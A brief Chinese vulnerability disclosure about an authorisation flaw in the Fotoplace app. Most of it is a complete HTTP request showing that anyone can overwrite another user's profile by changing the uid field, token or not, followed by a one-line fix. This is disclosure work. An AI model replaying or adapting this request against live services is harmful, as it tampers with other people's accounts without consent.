没事对比较热门的APP足记(fotoplace)简单的看了看,发现有一处越权的存在。
问题出现在修改任意用户的profile
POST http://fotoplace.cc/api2/user%2Fuser_change_settings.php HTTP/1.1
Content-Type: multipart/form-data; boundary=9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Length: 1026
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.0.4; GT-P7510 Build/IMM76D)
Host: fotoplace.cc
Connection: Keep-Alive
Accept-Encoding: gzip
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="version"
Content-Type: text/plain; charset=UTF-8
Content-Length: 3
Content-Transfer-Encoding: binary
2.3
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="uid"
Content-Type: text/plain; charset=UTF-8
Content-Length: 7
Content-Transfer-Encoding: binary
1658128
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="userName"
Content-Type: text/plain; charset=UTF-8
Content-Length: 7
Content-Transfer-Encoding: binary
davex_9
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="location"
Content-Type: text/plain; charset=UTF-8
Content-Length: 6
Content-Transfer-Encoding: binary
China
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="description"
Content-Type: text/plain; charset=UTF-8
Content-Length: 21
Content-Transfer-Encoding: binary
随便写点什么吧
--9d78dba9-06a9-4812-a428-8ae3a987e71d--
把ID修改了就可以POST了,有token和没token都可以。
已经测试了一个帐号,为了让足记更好的发展,我就不继续测试下去了 :-)
解决方案:
验证权限